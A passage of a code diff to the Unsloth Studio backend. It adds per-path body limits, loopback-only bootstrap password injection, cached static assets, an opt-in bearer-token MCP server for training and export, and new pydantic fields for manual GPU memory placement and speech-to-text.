+        self.request_max_bytes_getter = request_max_bytes_getter
         self.upload_passthrough_prefixes = upload_passthrough_prefixes
         self.upload_passthrough_max_bytes_getter = upload_passthrough_max_bytes_getter
 
@@ -820,6 +870,14 @@ class MaxBodyMiddleware:
         except Exception:
             return int(self.max_bytes_getter())
 
+    def _request_max_bytes(self, path: str) -> int:
+        if self.request_max_bytes_getter is None:
+            return int(self.max_bytes_getter())
+        try:
+            return int(self.request_max_bytes_getter(path))
+        except Exception:
+            return int(self.max_bytes_getter())
+
     async def __call__(self, scope, receive, send):
         if scope["type"] != "http":
             await self.app(scope, receive, send)
@@ -832,7 +890,7 @@ class MaxBodyMiddleware:
             await self.app(scope, receive, send)
             return
 
-        max_bytes = int(self.max_bytes_getter())
+        max_bytes = self._request_max_bytes(path)
         declared = None
         for name, value in scope.get("headers", []):
             if name == b"content-length":
@@ -897,6 +955,7 @@ app.add_middleware(
     MaxBodyMiddleware,
     max_bytes_getter = default_request_body_limit_bytes,
     protected_prefixes = _BODY_PROTECTED_PREFIXES,
+    request_max_bytes_getter = _get_request_body_max_bytes,
     upload_passthrough_prefixes = _BODY_UPLOAD_PASSTHROUGH_PREFIXES,
     upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
 )
@@ -941,7 +1000,7 @@ app.include_router(training_router, prefix = "/api/train", tags = ["training"])
 app.include_router(models_router, prefix = "/api/models", tags = ["models"])
 app.include_router(chat_history_router, prefix = "/api/chat", tags = ["chat"])
 app.include_router(inference_router, prefix = "/api/inference", tags = ["inference"])
-# Studio-only inference endpoints (cancel, etc.) are NOT exposed on the /v1
+# Unsloth-only inference endpoints (cancel, etc.) are NOT exposed on the /v1
 # OpenAI-compat prefix below.
 app.include_router(inference_studio_router, prefix = "/api/inference", tags = ["inference"])
 
@@ -955,11 +1014,14 @@ app.include_router(prompts_router, prefix = "/api/prompts", tags = ["prompts"])
 app.include_router(datasets_router, prefix = "/api/datasets", tags = ["datasets"])
 app.include_router(data_recipe_router, prefix = "/api/data-recipe", tags = ["data-recipe"])
 app.include_router(llama_router, prefix = "/api/llama", tags = ["llama"])
+app.include_router(whisper_router, prefix = "/api/whisper", tags = ["whisper"])
 app.include_router(export_router, prefix = "/api/export", tags = ["export"])
 app.include_router(rag_router, prefix = "/api/rag", tags = ["rag"])
 app.include_router(training_history_router, prefix = "/api/train", tags = ["training-history"])
 app.include_router(hub_inventory_router, prefix = "/api/hub", tags = ["hub"])
 app.include_router(hub_datasets_router, prefix = "/api/hub/datasets", tags = ["hub"])
+app.include_router(picker_templates_router, prefix = "/api/picker", tags = ["picker"])
+app.include_router(hub_token_router, prefix = "/api/hub", tags = ["hub"])
 
 # Re-wrap client-error responses on the /v1/* surface into OpenAI/Anthropic
 # error envelopes; non-/v1 paths keep FastAPI's default {"detail": ...} shape.
@@ -1048,7 +1110,7 @@ def studio_install_source(_current_subject: str = Depends(get_current_subject)):
 
 @app.get("/api/studio/update-status")
 def studio_update_status(_current_subject: str = Depends(get_current_subject)):
-    """Return source-aware manual update status for browser-served Studio."""
+    """Return source-aware manual update status for browser-served Unsloth."""
     return get_studio_update_status(UNSLOTH_VERSION)
 
 
@@ -1116,17 +1178,35 @@ def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
             util = util_devices.get(idx, {})
 
             total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
-            used_vram = util.get("vram_used_gb") or 0
+            # Keep None (usage unknown, e.g. Windows ROCm perf counter) so the UI
+            # shows unknown, not a fabricated 0 used / full free.
+            used_vram = util.get("vram_used_gb")
 
             enriched_dev = dict(dev)
             enriched_dev["vram_used_gb"] = used_vram
-            enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
+            enriched_dev["vram_free_gb"] = (
+                round(total_vram - used_vram, 2) if total_vram and used_vram is not None else None
+            )
             enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
             enriched_devices.append(enriched_dev)
 
+        # Whether GGUF loads accept an explicit gpu_ids pick: /load and
+        # /validate 400 picks on XPU hosts (no visibility mask speaks torch-xpu
+        # ordinals) and on Vulkan-only builds (--device pins ggml's own
+        # ordinals), so the picker must not offer them.
+        try:
+            from core.inference.llama_cpp import LlamaCppBackend
+            from utils.hardware import DeviceType, get_device
+            gpu_ids_supported = (
+                get_device() != DeviceType.XPU and not LlamaCppBackend._is_vulkan_backend()
+            )
+        except Exception as e:
+            logger.debug(f"Could not resolve gpu_ids support: {e}")
+            gpu_ids_supported = True
         gpu_info = {
             "available": visibility_info.get("available", False),
             "devices": enriched_devices,
+            "gguf_gpu_ids_supported": gpu_ids_supported,
         }
         _system_gpu_cache = (time.monotonic(), gpu_info)
         return gpu_info
@@ -1355,6 +1435,61 @@ def _canonical_origin(scheme: str, netloc: str) -> Optional[tuple[str, str, int]
     return (scheme, host, port)
 
 
+def _is_loopback_ip(host: Optional[str]) -> bool:
+    """Return whether ``host`` is a loopback IP, including IPv4-mapped IPv6."""
+    if not host or "%" in host:  # a scope id (::1%eth0) is never a plain loopback
+        return False
+    try:
+        ip = ipaddress.ip_address(host)
+    except (TypeError, ValueError):
+        return False
+    mapped = getattr(ip, "ipv4_mapped", None)
+    return ip.is_loopback or (mapped is not None and mapped.is_loopback)
+
+
+# A loopback peer carrying any of these is a proxy/tunnel relaying a remote
+# client, so the peer is the proxy, not the caller: cloudflared sets
+# cf-connecting-ip, reverse proxies set the rest (uvicorn only consumes
+# x-forwarded-for, so the others survive to here).
+_PROXIED_CLIENT_HEADERS = (
+    "cf-connecting-ip",
+    "forwarded",
+    "x-forwarded-for",
+    "x-forwarded-host",
+    "x-real-ip",
+)
+
+
+def _host_header_is_loopback(host_header: Optional[str]) -> bool:
+    """Loopback/localhost check on the raw Host header.
+
+    Reads the header directly so a malformed or absent Host cannot fall back to
+    ``request.url.hostname``'s (loopback) ASGI server address.
+    """
+    if not host_header:
+        return False
+    host = host_header.strip()
+    if host.startswith("["):  # [IPv6] or [IPv6]:port
+        end = host.find("]")
+        if end == -1 or (host[end + 1 :] and not host[end + 1 :].startswith(":")):
+            return False  # unclosed bracket or junk after ] (e.g. [::1]evil)
+        host = host[1:end]
+    elif host.count(":") == 1:  # host:port
+        host = host.split(":", 1)[0]
+    host = host.lower().rstrip(".")
+    return host == "localhost" or _is_loopback_ip(host)
+
+
+def _is_local_bootstrap_request(request: Request) -> bool:
+    """Allow bootstrap injection only through a direct loopback authority."""
+    client = request.client
+    if client is None or not _is_loopback_ip(client.host):
+        return False
+    if any(request.headers.get(h) is not None for h in _PROXIED_CLIENT_HEADERS):
+        return False
+    return _host_header_is_loopback(request.headers.get("host"))
+
+
 def _is_same_origin_request(request: Request) -> bool:
     """True when Origin is missing or matches request's scheme://host:port.
 
@@ -1390,6 +1525,45 @@ def _is_same_origin_request(request: Request) -> bool:
     return origin_canon == self_canon
 
 
+def _should_inject_bootstrap(request: Request) -> bool:
+    """Whether to embed the seeded bootstrap password in index.html."""
+    if not _is_same_origin_request(request):
+        return False
+    if _IS_COLAB:
+        # Single-user notebook proxy: allow autofill, but never a public
+        # shareable tunnel (a Colab Cloudflare link sets cf-connecting-ip).
+        return request.headers.get("cf-connecting-ip") is None
+    return _is_local_bootstrap_request(request)
+
+
+_IMMUTABLE_ASSET_CACHE_CONTROL = "public, max-age=31536000, immutable"
+
+
+class ImmutableStaticFiles(StaticFiles):
+    """Serve Vite's content-hashed assets without browser revalidation."""
+
+    def file_response(
+        self,
+        full_path,
+        stat_result,
+        scope,
+        status_code = 200,
+    ):
+        response = super().file_response(full_path, stat_result, scope, status_code)
+        response.headers["Cache-Control"] = _IMMUTABLE_ASSET_CACHE_CONTROL
+        return response
+
+
+class _AssetGZipMiddleware(GZipMiddleware):
+    """Serve range requests uncompressed; gzip + 206 mislabels Content-Range."""
+
+    async def __call__(self, scope, receive, send):
+        if scope["type"] == "http" and any(key == b"range" for key, _ in scope["headers"]):
+            await self.app(scope, receive, send)
+            return
+        await super().__call__(scope, receive, send)
+
+
 def setup_frontend(app: FastAPI, build_path: Path):
     """Mount frontend static files (optional)"""
     if not build_path.exists():
@@ -1397,13 +1571,20 @@ def setup_frontend(app: FastAPI, build_path: Path):
 
     assets_dir = build_path / "assets"
     if assets_dir.exists():
-        app.mount("/assets", StaticFiles(directory = assets_dir), name = "assets")
+        assets_app = _AssetGZipMiddleware(
+            ImmutableStaticFiles(directory = assets_dir),
+            minimum_size = 1024,
+            compresslevel = 6,
+        )
+        app.mount("/assets", assets_app, name = "assets")
 
     def _build_index_response(request: Request) -> Response:
         content = (build_path / "index.html").read_bytes()
         content = _strip_crossorigin(content)
-        # Bootstrap pw is same-origin only; Vary: Origin keeps caches honest.
-        if _is_same_origin_request(request):
+        # Bootstrap pw goes only to a same-origin, direct-loopback client (or
+        # Colab's single-user notebook proxy): a wildcard bind must not serve it
+        # in-page to a LAN or proxied peer. Vary: Origin keeps caches honest.
+        if _should_inject_bootstrap(request):
             content, nonce = _inject_bootstrap(content, app)
         else:
             nonce = None
diff --git a/studio/backend/mcp_server.py b/studio/backend/mcp_server.py
new file mode 100644
index 0000000000..e93490411d
--- /dev/null
+++ b/studio/backend/mcp_server.py
@@ -0,0 +1,259 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Curated MCP tools for driving an Unsloth Studio instance.
+
+The MCP surface deliberately wraps the existing Unsloth services instead of
+duplicating training or export logic. It is opt-in because several tools can
+start GPU work or write model artifacts.
+"""
+
+from __future__ import annotations
+
+import hmac
+from typing import Any
+
+from fastmcp import FastMCP
+
+
+class BearerTokenMiddleware:
+    """Require an exact bearer token when Unsloth MCP is exposed remotely."""
+
+    def __init__(self, app: Any, token: str) -> None:
+        if not token or not token.strip():
+            raise ValueError("Unsloth MCP bearer token must be a non-empty value")
+        if not token.isascii():
+            # A non-ASCII token cannot be sent in an HTTP header; reject it here.
+            raise ValueError("Unsloth MCP bearer token must contain ASCII characters only")
+        self.app = app
+        # Compare on raw header bytes: str hmac.compare_digest raises on non-ASCII
+        # input, which would surface as a 500 instead of a clean 401.
+        self.expected = token.encode("utf-8")
+
+    async def __call__(self, scope: dict[str, Any], receive: Any, send: Any) -> None:
+        scope_type = scope.get("type")
+        if scope_type not in ("http", "websocket"):
+            await self.app(scope, receive, send)
+            return
+
+        headers = dict(scope.get("headers", []))
+        raw_auth = headers.get(b"authorization", b"")
+        scheme, _, supplied = raw_auth.partition(b" ")
+        if scheme.lower() != b"bearer" or not hmac.compare_digest(supplied, self.expected):
+            await _send_unauthorized(send, scope_type)
+            return
+
+        await self.app(scope, receive, send)
+
+
+async def _send_unauthorized(send: Any, scope_type: str) -> None:
+    if scope_type == "websocket":
+        await send({"type": "websocket.close", "code": 4401})
+        return
+
+    await send(
+        {
+            "type": "http.response.start",
+            "status": 401,
+            "headers": [(b"content-type", b"application/json"), (b"www-authenticate", b"Bearer")],
+        }
+    )
+    await send(
+        {
+            "type": "http.response.body",
+            "body": b'{"detail":"MCP bearer token required"}',
+        }
+    )
+
+
+def _dump(value: Any) -> Any:
+    """Convert Pydantic responses to plain JSON values for MCP clients."""
+    if hasattr(value, "model_dump"):
+        return value.model_dump(mode = "json")
+    return value
+
+
+def _clamp(value: int, low: int, high: int) -> int:
+    """Clamp an MCP-supplied integer into an inclusive range.
+
+    MCP tools call the Unsloth route functions directly, which skips FastAPI's
+    Query(ge=, le=) validation, so we re-apply the same bounds here.
+    """
+    return max(low, min(value, high))
+
+
+def create_studio_mcp() -> FastMCP:
+    """Create the Unsloth MCP server and register the high-value tools."""
+    mcp = FastMCP(
+        "Unsloth Studio",
+        instructions = (
+            "Use read tools to inspect the local Unsloth state before starting GPU work. "
+            "Training and export tools can consume substantial VRAM and write files. "
+            "Never expose tokens or local paths from tool results unless the user asks."
+        ),
+    )
+
+    @mcp.tool
+    async def studio_status() -> dict[str, Any]:
+        """Return the current training, export, inference, and GPU state."""
+        from routes.export import get_export_status
+        from routes.inference import get_status as get_inference_status
+        from routes.training import get_training_status
+
+        from utils.hardware import get_gpu_utilization
+
+        training, export, inference = await _gather_status(
+            get_training_status(current_subject = "mcp"),
+            get_export_status(current_subject = "mcp"),
+            get_inference_status(current_subject = "mcp"),
+        )
+        return {
+            "training": _dump(training),
+            "export": _dump(export),
+            "inference": _dump(inference),
+            "hardware": get_gpu_utilization(),
+        }
+
+    @mcp.tool
+    async def list_local_models(models_dir: str = "./models") -> dict[str, Any]:
+        """List local and cached models available to Unsloth."""
+        from routes.models import list_local_models as list_models
+        return _dump(await list_models(models_dir = models_dir, current_subject = "mcp"))
+
+    @mcp.tool
+    async def get_training_status() -> dict[str, Any]:
+        """Read the active training job, phase, progress, and recent metrics."""
+        from routes.training import get_training_status as get_status
+        return _dump(await get_status(current_subject = "mcp"))
+
+    @mcp.tool
+    async def start_training(config: dict[str, Any]) -> dict[str, Any]:
+        """Start a validated Unsloth training job from a TrainingStartRequest-shaped object.
+
+        The config is validated by the same Pydantic model used by the Unsloth UI.
+        Call get_training_status first and do not start work while another job runs.
+        """
+        from models import TrainingStartRequest
+        from routes.training import start_training as start
+
+        request = TrainingStartRequest.model_validate(config)
+        # Pass via_api_key explicitly (a direct call leaves it a Depends object).
+        # MCP drives Unsloth like the UI session, so it coexists and frees VRAM.
+        return _dump(await start(request, current_subject = "mcp", via_api_key = False))
+
+    @mcp.tool
+    async def stop_training(save: bool = True) -> dict[str, Any]:
+        """Ask the active training process to stop at its next safe checkpoint."""
+        from routes.training import TrainingStopRequest, stop_training as stop
+        return _dump(await stop(TrainingStopRequest(save = save), current_subject = "mcp"))
+
+    @mcp.tool
+    async def list_training_runs(limit: int = 50, offset: int = 0) -> dict[str, Any]:
+        """List completed and stopped training runs, newest first."""
+        from routes.training_history import list_training_runs as list_runs
+
+        # Clamp here (direct call skips Query bounds); a negative LIMIT = no limit.
+        limit = _clamp(limit, 1, 200)
+        offset = max(0, offset)
+        return _dump(await list_runs(limit = limit, offset = offset, current_subject = "mcp"))
+
+    @mcp.tool
+    def validate_recipe(recipe: dict[str, Any]) -> dict[str, Any]:
+        """Validate a Data Recipe with the same validator used by Unsloth."""
+        from models.data_recipe import RecipePayload
+        from routes.data_recipe.validate import validate
+
+        return _dump(validate(RecipePayload(recipe = recipe)))
+
+    @mcp.tool
+    def get_recipe_job_status(job_id: str) -> dict[str, Any]:
+        """Read the status of a Data Recipe job."""
+        from routes.data_recipe.jobs import job_status
+        return _dump(job_status(job_id))
+
+    @mcp.tool
+    def get_recipe_job_dataset(
+        job_id: str,
+        limit: int = 20,
+        offset: int = 0,
+    ) -> dict[str, Any]:
+        """Read a bounded page of generated Data Recipe rows."""
+        from routes.data_recipe.jobs import job_dataset
+
+        # Clamp here (direct call skips FastAPI's Query bounds).
+        limit = _clamp(limit, 1, 500)
+        offset = max(0, offset)
+        return _dump(job_dataset(job_id, limit = limit, offset = offset))
+
+    @mcp.tool
+    async def load_checkpoint(
+        checkpoint_path: str,
+        max_seq_length: int = 2048,
+        load_in_4bit: bool = True,
+        trust_remote_code: bool = False,
+        approved_remote_code_fingerprint: str | None = None,
+        hf_token: str | None = None,
+    ) -> dict[str, Any]:
+        """Load a checkpoint into the export backend.
+
+        Export runs in its own subprocess and coexists with training and
+        inference; it does not unload them, so a load can fail with a clear
+        out-of-memory error if the GPU is already full. Pass hf_token to load a
+        gated checkpoint, and approved_remote_code_fingerprint to retry a
+        trust_remote_code load that was blocked pending review.
+        """
+        from models import LoadCheckpointRequest
+        from routes.export import load_checkpoint as load
+
+        request = LoadCheckpointRequest(
+            checkpoint_path = checkpoint_path,
+            max_seq_length = max_seq_length,
+            load_in_4bit = load_in_4bit,
+            trust_remote_code = trust_remote_code,
+            approved_remote_code_fingerprint = approved_remote_code_fingerprint,
+            hf_token = hf_token,
+        )
+        return _dump(await load(request, current_subject = "mcp"))
+
+    @mcp.tool
+    async def export_gguf(
+        save_directory: str,
+        quantization_method: str | list[str] = "Q4_K_M",
+        push_to_hub: bool = False,
+        repo_id: str | None = None,
+        hf_token: str | None = None,
+        imatrix: bool = False,
+        imatrix_path: str | None = None,
+    ) -> dict[str, Any]:
+        """Export the loaded model to GGUF using Unsloth's existing path validation.
+
+        quantization_method may be a single method or a list to produce several
+        GGUFs from one load. Pass hf_token when push_to_hub is set (the backend
+        rejects a Hub upload without it). Set imatrix (or imatrix_path) for the
+        IQ low-bit quants that require an importance matrix.
+        """
+        from models import ExportGGUFRequest
+        from routes.export import export_gguf as export
+
+        request = ExportGGUFRequest(
+            save_directory = save_directory,
+            quantization_method = quantization_method,
+            push_to_hub = push_to_hub,
+            repo_id = repo_id,
+            hf_token = hf_token,
+            imatrix = imatrix,
+            imatrix_path = imatrix_path,
+        )
+        return _dump(await export(request, current_subject = "mcp"))
+
+    return mcp
+
+
+async def _gather_status(*coroutines: Any) -> tuple[Any, ...]:
+    """Gather independent status calls without letting one optional backend fail all state."""
+    import asyncio
+
+    results = await asyncio.gather(*coroutines, return_exceptions = True)
+    return tuple(
+        {"error": str(result)} if isinstance(result, Exception) else result for result in results
+    )
diff --git a/studio/backend/models/auth.py b/studio/backend/models/auth.py
index f451f8d9dd..2283aa709f 100644
--- a/studio/backend/models/auth.py
+++ b/studio/backend/models/auth.py
@@ -7,6 +7,8 @@ from typing import Optional
 
 from pydantic import BaseModel, Field
 
+from auth.storage import MIN_PASSWORD_LENGTH
+
 
 class AuthLoginRequest(BaseModel):
     """Login payload: username/password to obtain a JWT."""
@@ -45,10 +47,14 @@ class ChangePasswordRequest(BaseModel):
     """Change the current user's password, typically on first login."""
 
     current_password: str = Field(
-        ..., min_length = 8, description = "Existing password for the authenticated user"
+        ...,
+        min_length = MIN_PASSWORD_LENGTH,
+        description = "Existing password for the authenticated user",
     )
     new_password: str = Field(
-        ..., min_length = 8, description = "Replacement password (minimum 8 characters)"
+        ...,
+        min_length = MIN_PASSWORD_LENGTH,
+        description = f"Replacement password (minimum {MIN_PASSWORD_LENGTH} characters)",
     )
 
 
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 31c100dbec..c7e5ffa36b 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -18,6 +18,8 @@ from pydantic import (
     model_validator,
 )
 
+from picker.schemas import MAX_CHAT_TEMPLATE_BYTES
+
 
 class LoadRequest(BaseModel):
     """Request to load a model for inference"""
@@ -54,8 +56,16 @@ class LoadRequest(BaseModel):
     @field_validator("chat_template_override")
     @classmethod
     def normalize_blank_chat_template_override(cls, value: Optional[str]) -> Optional[str]:
-        if value is not None and value.strip() == "":
+        if value is None:
             return None
+        # Char count is a lower bound on UTF-8 byte length: reject an oversized
+        # template before spending work encoding it.
+        if len(value) > MAX_CHAT_TEMPLATE_BYTES:
+            raise ValueError(f"Chat template exceeds the {MAX_CHAT_TEMPLATE_BYTES}-byte limit.")
+        if value.strip() == "":
+            return None
+        if len(value.encode("utf-8")) > MAX_CHAT_TEMPLATE_BYTES:
+            raise ValueError(f"Chat template exceeds the {MAX_CHAT_TEMPLATE_BYTES}-byte limit.")
         return value
 
     cache_type_kv: Optional[str] = Field(
@@ -64,7 +74,7 @@ class LoadRequest(BaseModel):
     )
     gpu_ids: Optional[List[int]] = Field(
         None,
-        description = "Physical GPU indices to use, for example [0, 1]. Omit or pass [] to use automatic selection. Explicit gpu_ids are unsupported when the parent CUDA_VISIBLE_DEVICES uses UUID/MIG entries. Not supported for GGUF models.",
+        description = "Physical GPU indices to use, for example [0, 1]. Omit or pass [] to use automatic selection. Explicit gpu_ids are unsupported when the parent CUDA_VISIBLE_DEVICES uses UUID/MIG entries. For GGUF models the picked devices are pinned via CUDA/HIP_VISIBLE_DEVICES.",
     )
     speculative_type: Optional[str] = Field(
         None,
@@ -100,12 +110,72 @@ class LoadRequest(BaseModel):
             "No effect on a single GPU. Ignored for non-GGUF models."
         ),
     )
+    gpu_memory_mode: Literal["auto", "manual"] = Field(
+        "auto",
+        description = (
+            "GPU memory strategy for GGUF models. 'auto' (default): Unsloth "
+            "selects GPUs and caps context to fit VRAM. 'manual': you own the "
+            "offload. Leave gpu_layers at -1 (Auto) to hand memory management to "
+            "llama.cpp's --fit (no device masking, no context auto-reduce, no "
+            "gpu-layer/tensor-split planning); set gpu_layers >= 0 to pin layers "
+            "and n_cpu_moe yourself (--fit off), with tensor_parallel still "
+            "applying (split by free VRAM unless tensor_split is set, no planner). "
+            "Ignored for non-GGUF."
+        ),
+    )
+    gpu_layers: int = Field(
+        -1,
+        ge = -1,
+        description = (
+            "Manual mode only: number of layers to offload to the GPU "
+            "(--gpu-layers, with --fit off). A value >= the model's layer count "
+            "offloads all of them. -1 = Auto: hand layer + context sizing to "
+            "llama.cpp's --fit. Ignored unless gpu_memory_mode is 'manual'."
+        ),
+    )
+    n_cpu_moe: int = Field(
+        0,
+        ge = 0,
+        description = (
+            "Manual mode only: keep the first N MoE expert layers on the CPU "
+            "(--n-cpu-moe) to save VRAM on MoE models. 0 = none, N = number of "
+            "MoE layers offloaded (the backend offsets past any leading dense "
+            "layers). Ignored unless gpu_memory_mode is 'manual' with gpu_layers >= 0."
+        ),
+    )
+    tensor_split: Optional[List[float]] = Field(
+        None,
+        description = (
+            "Manual mode only: relative share of the model per GPU (--tensor-split), "
+            "in the order of the GPUs in use, e.g. [2, 1] for 2:1. Omit it to let "
+            "llama.cpp use its default, which splits by free VRAM. Any list given is "
+            "passed through as-is, so send [1, 1] to force an even split. Ignored "
+            "unless gpu_memory_mode is 'manual' with gpu_layers >= 0."
+        ),
+    )
+
+    @field_validator("tensor_split")
+    @classmethod
+    def _reject_degenerate_tensor_split(cls, value: Optional[List[float]]) -> Optional[List[float]]:
+        # A negative / non-finite / all-zero split is silently dropped at launch
+        # (stored as None) yet still compared raw in the reload dedupe, so an
+        # identical Apply reloads forever. Reject it up front; [] = no split.
+        if not value:
+            return value
+        import math
+
+        if any((not math.isfinite(v)) or v < 0 for v in value):
+            raise ValueError("tensor_split entries must be finite and non-negative")
+        if sum(value) <= 0:
+            raise ValueError("tensor_split must have a positive total")
+        return value
+
     llama_extra_args: Optional[List[str]] = Field(
         None,
         description = (
             "Extra arguments forwarded verbatim to llama-server for GGUF models. "
             "One token per list entry, e.g. ['--top-k', '20', '--seed', '42']. "
-            "Studio-managed flags (model identity, port, context length, GPU placement, "
+            "Unsloth-managed flags (model identity, port, context length, GPU placement, "
             "auth, UI/server mode) are rejected. Ignored for non-GGUF models."
         ),
     )
@@ -117,6 +187,32 @@ class UnloadRequest(BaseModel):
     model_path: str = Field(..., description = "Model identifier to unload")
 
 
+class TranscribeRequest(BaseModel):
+    """Speech-to-text request for the dictation STT sidecar."""
+
+    audio: str = Field(..., description = "Base64-encoded audio (any common format)")
+    model: Optional[str] = Field(None, description = "STT model id; defaults server-side")
+    language: Optional[str] = Field(None, description = "BCP-47 language, or 'auto'/None to detect")
+    fast: bool = Field(
+        False,
+        description = "Use low-latency single-candidate decoding for dictation",
+    )
+    engine: Optional[str] = Field(
+        None,
+        description = "STT engine: 'transformers' (default) or 'gguf' (whisper.cpp)",
+    )
+
+
+class SttLoadRequest(BaseModel):
+    """Warm the STT sidecar with a model without transcribing."""
+
+    model: Optional[str] = Field(None, description = "STT model id; defaults server-side")
+    engine: Optional[str] = Field(
+        None,
+        description = "STT engine: 'transformers' (default) or 'gguf' (whisper.cpp)",
+    )
+
+
 class ValidateModelRequest(BaseModel):
     """Check whether an identifier resolves to a ModelConfig; does NOT load weights."""
 
@@ -133,11 +229,47 @@ class ValidateModelRequest(BaseModel):
     max_seq_length: int = Field(0, ge = 0, le = 1048576)
     load_in_4bit: bool = Field(True)
     gpu_ids: Optional[List[int]] = Field(None)
+    gpu_memory_mode: Literal["auto", "manual"] = Field(
+        "auto",
+        description = (
+            "GGUF GPU-memory strategy intended for the follow-up load. Manual "
+            "placement bypasses the training coexistence estimate: Auto layers "
+            "delegate fitting to llama.cpp, while explicit layers are user-owned."
+        ),
+    )
     include_context_length: bool = Field(
         False,
         description = "Also read the native context length from the local GGUF header. "
         "Opt-in so the normal load preflight doesn't pay for a cache scan it doesn't need.",
     )
+    include_chat_template: bool = Field(
+        False,
+        description = "Also read the embedded chat template from the local GGUF header, so a "
+        "native (picked / drag-drop) file's default template can be shown before it is loaded. "
+        "Opt-in and, like include_context_length, a metadata-only probe that skips the training "
+        "guard. Only the leased file's own embedded template is read, never sibling sidecars.",
+    )
+
+
+class TransformersUpgradeInfo(BaseModel):
+    """A model architecture no installed transformers ships, but a newer release does."""
+
+    model_type: str = Field(
+        ..., description = "config.json model_type unknown to every installed transformers"
+    )
+    pypi_version: Optional[str] = Field(
+        None, description = "Latest transformers release on PyPI at check time"
+    )
+    supported_in_pypi: bool = Field(
+        False,
+        description = "True if the latest PyPI release ships this model_type; Unsloth can "
+        "install it into a persistent sidecar after user consent.",
+    )
+    supported_in_main: bool = Field(
+        False,
+        description = "True if transformers GitHub main ships this model_type (dev-only; "
+        "not installable through Unsloth yet).",
+    )
 
 
 class ValidateModelResponse(BaseModel):
@@ -167,6 +299,63 @@ class ValidateModelResponse(BaseModel):
         description = "Native training context length, read from the GGUF header when the file "
         "is already downloaded locally; None for non-GGUF, gated, or not-yet-downloaded models.",
     )
+    layer_count: Optional[int] = Field(
+        None,
+        description = "Total layer count (GGUF block_count), the manual gpu-layers ceiling, read "
+        "from the header alongside context_length; None when not read.",
+    )
+    moe_layer_count: Optional[int] = Field(
+        None,
+        description = "MoE expert-layer count (the manual --n-cpu-moe ceiling), read from the GGUF "
+        "header alongside context_length; 0 for dense models, None when not read.",
+    )
+    chat_template: Optional[str] = Field(
+        None,
+        description = "Embedded GGUF chat template, read from the header when include_chat_template "
+        "is set (native lease-backed picks); None for non-GGUF, over-cap, or not-read templates.",
+    )
+    # Additive fields; the consuming consent dialog ships in a follow-up frontend PR.
+    requires_transformers_upgrade: bool = Field(
+        False,
+        description = "True when the model's architecture is unknown to every installed "
+        "transformers but a newer transformers ships it; the UI should offer the "
+        "install-latest-transformers consent dialog (or the dev-only notice).",
+    )
+    transformers_upgrade: Optional[TransformersUpgradeInfo] = Field(
+        None,
+        description = "Details for the transformers-upgrade dialog; set only when "
+        "requires_transformers_upgrade is true.",
+    )
+
+
+class InstallLatestTransformersRequest(BaseModel):
+    """Consented request to install the latest transformers release into a sidecar."""
+
+    version: str = Field(
+        ...,
+        min_length = 1,
+        max_length = 64,
+        description = "Exact transformers version to install; must match the current "
+        "latest PyPI release reported by /validate.",
+    )
+
+
+class InstallLatestTransformersResponse(BaseModel):
+    """Result of the consented latest-transformers sidecar install."""
+
+    success: bool = Field(..., description = "Whether the sidecar was provisioned")
+    version: str = Field(..., description = "The requested transformers version")
+    message: str = Field(..., description = "Human-readable result")
+    model_unloaded: bool = Field(
+        False,
+        description = "Whether the active chat model was unloaded before the swap "
+        "(reported even on failure, so the client can restore its state)",
+    )
+    latest_version: Optional[str] = Field(
+        None,
+        description = "On a version-mismatch failure: the release that superseded "
+        "the requested one, so the client can retry with it",
+    )
 
 
 class GenerateRequest(BaseModel):
@@ -177,6 +366,7 @@ class GenerateRequest(BaseModel):
     temperature: float = Field(0.6, ge = 0.0, le = 2.0, description = "Sampling temperature")
     top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling")
     top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling")
+    min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling")
     max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate")
     repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty")
     presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty")
@@ -269,6 +459,34 @@ class LoadResponse(BaseModel):
         False,
         description = "Whether tensor-parallel split (--split-mode tensor) is active.",
     )
+    gpu_memory_mode: Literal["auto", "manual"] = Field(
+        "auto",
+        description = "Active GPU memory strategy ('auto' or 'manual').",
+    )
+    gpu_layers: int = Field(
+        -1,
+        description = "Manual mode: requested --gpu-layers value (-1 = Auto/--fit, or when not manual).",
+    )
+    n_cpu_moe: int = Field(
+        0,
+        description = "Manual mode: MoE expert layers pinned to CPU (--n-cpu-moe); 0 = none.",
+    )
+    tensor_split: Optional[List[float]] = Field(
+        None,
+        description = "Manual mode: relative model share per GPU (--tensor-split); None = default (split by free VRAM).",
+    )
+    n_layers: Optional[int] = Field(
+        None,
+        description = "Model's layer count (GGUF block_count), for the manual gpu-layers ceiling.",
+    )
+    n_moe_layers: int = Field(
+        0,
+        description = "Model's MoE expert-layer count (the n_cpu_moe ceiling); 0 if not an MoE model.",
+    )
+    gpu_ids: Optional[List[int]] = Field(
+        None,
+        description = "Physical GPU indices the model is pinned to, or None for automatic selection.",
+    )
 
 
 class UnloadResponse(BaseModel):
@@ -397,6 +615,42 @@ class InferenceStatusResponse(BaseModel):
         False,
         description = "Whether tensor-parallel split (--split-mode tensor) is active.",
     )
+    gpu_memory_mode: Literal["auto", "manual"] = Field(
+        "auto",
+        description = "Active GPU memory strategy ('auto' or 'manual').",
+    )
+    gpu_layers: int = Field(
+        -1,
+        description = "Manual mode: requested --gpu-layers value (-1 = Auto/--fit, or when not manual).",
+    )
+    n_cpu_moe: int = Field(
+        0,
+        description = "Manual mode: MoE expert layers pinned to CPU (--n-cpu-moe); 0 = none.",
+    )
+    tensor_split: Optional[List[float]] = Field(
+        None,
+        description = "Manual mode: relative model share per GPU (--tensor-split); None = default (split by free VRAM).",
+    )
+    requested_context_length: Optional[int] = Field(
+        None,
+        description = (
